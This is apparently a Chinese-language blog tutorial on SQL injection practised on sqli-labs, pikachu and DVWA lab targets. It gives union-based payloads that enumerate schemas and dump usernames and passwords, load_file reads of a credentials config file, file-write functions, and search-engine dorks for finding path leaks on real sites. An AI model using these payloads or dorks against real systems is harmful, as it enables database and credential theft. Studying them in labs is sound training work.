SQL-Injection

image-20230815221138682

引入

MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

数据库中符号"."代表下一级,如security.users表示security数据库下的users表名

image-20230814205017557

查看information_schema里的所有表 show tables;

在这里插入图片描述

columns表

select * from columns\G;

table_schema存储的是数据库的名称

image-20230814211054519

tables表

image-20230814210508460

schemata表

schema_name字段存放数据库的名字

image-20230814211150506

information_schema.tables   #记录所有表名信息的表
information_schema.columns  #记录所有列名信息的表
table_name                  #表名
column_name                 #列名
table_schema                #数据库名

函数

database()  #数据库名
version()  #数据库版本
user()   #用户名

以sqli-labs靶场为例

1、判断注入类型

?id=1 and 1=1 --+
?id=1 and 1=2 --+

image-20230814212338725

image-20230814212404812

注入类型为数字型

2、判断列数

?id=1 order by 3--+
?id=1 order by 4--+      -- 报错

image-20230814212530433

3、判断显示位

?id=-1 union select 1,2,3 --+

image-20230814212615284

第二位和第三位为显示位

4、获取所有数据库

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

image-20230814212735861

group_concat这个函数默认是跟group by 分组来一起使用的

如果没有使用group by语句,那么默认就是一个组,会显示所有的内容

详见博客


5、获取当前数据库

?id=-1 union select 1,2,database() --+

image-20230814213605037

6、获取用户名和数据库版本

?id=-1 union select 1,version(),user() --+

可以看到当前是以root用户登录的数据库,数据库版本是5.7.26

image-20230814213457277



跨表查询:↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓

7、查看指定dvwa数据库下的所有表名信息

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where  table_schema='dvwa' --+

image-20230814214008586

7、查看指定pikachu数据库下表名为users的所有列信息

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where  table_schema='pikachu'  and table_name='users'--+

image-20230814214237328

查看数据库验证是否正确

image-20230814214350149

8、查询pikachu库下的users表的数据

?id=-1 union select 1,username,password from pikachu.users--+

image-20230814214649437

?id=-1 union select 1,2,group_concat(username,password) from pikachu.users--+

image-20230814214802971

?id=-1 union select 1,group_concat(username),group_concat(password) from pikachu.users--+

image-20230814214926228

?id=-1 union select 1,group_concat(concat_ws("-",username,password)),3 from pikachu.users--+

concat_ws将多个字符串连接成一个字符串,第一个参数指定分隔符,分隔符不能为null,如果为null,则返回结果为null

image-20230814215055839

concat_ws函数和concat函数的区别

路径获取常见方法

1、报错显示

浏览器输入框inurl:edu.cn warning

image-20230815192354329

2、遗留文件 inurl:phpinfo.php

3、漏洞报错

4、平台配置文件

5、爆破

文件读取函数

load_file()  #读取函数
# select load_file('c:/xx.txt');

load_file读取敏感信息

image-20230815194228604

1、读取指定文件内容

http://192.168.80.139/sqli/Less-3/?id=-1')  union select 1,load_file('c:/test/demo.txt'),3--+

在这里插入图片描述

image-20230815194838300

2、读取网站数据库配置文件

C:\software\phpstudy_pro\WWW\sqli\sql-connections\db-creds.inc

image-20230815195224707

http://192.168.80.139/sqli/Less-3/?id=-1')  union select 1,load_file('C:\\software\\phpstudy_pro\\WWW\\sqli\\sql-connections\\db-creds.inc'),3--+

image-20230815195400128右键查看网页源代码

image-20230815195419487

文件写入函数

into outfile 或者 into dumpfile   #写入函数
#select 'x'  into outfile 'd:/www.txt';

防注入

魔术引号

内置函数 int

image-20230815202559859

自定义关键字:select

image-20230815202450124

WAF防护软件

数字型注入(post)

id=1 or 1=1

在这里插入图片描述

字符型注入(get)

直接输入1' or 1=1#

在这里插入图片描述

或者用bp抓包,构造闭合

name=1'or'1'='1

在这里插入图片描述

搜索型注入

搜索框中输入a

在这里插入图片描述

sql语句

select from 表名 where username like '%a%';

构造闭合a%' or 1=1# #号在数据库中表示注释

select from 表名 where username like '%a%' or 1=1#%';

在这里插入图片描述

xx型注入

就是猜闭合罢了

看源代码

vim /var/www/html/pikachu/vul/sqli/sqli_x.php

在这里插入图片描述

select id,email from member where username=('$name');

构造闭合xx') or 1=1#

select id,email from member where username=('xx') or 1=1#');

猜你喜欢

转载自blog.csdn.net/ZhaoSong_/article/details/132376465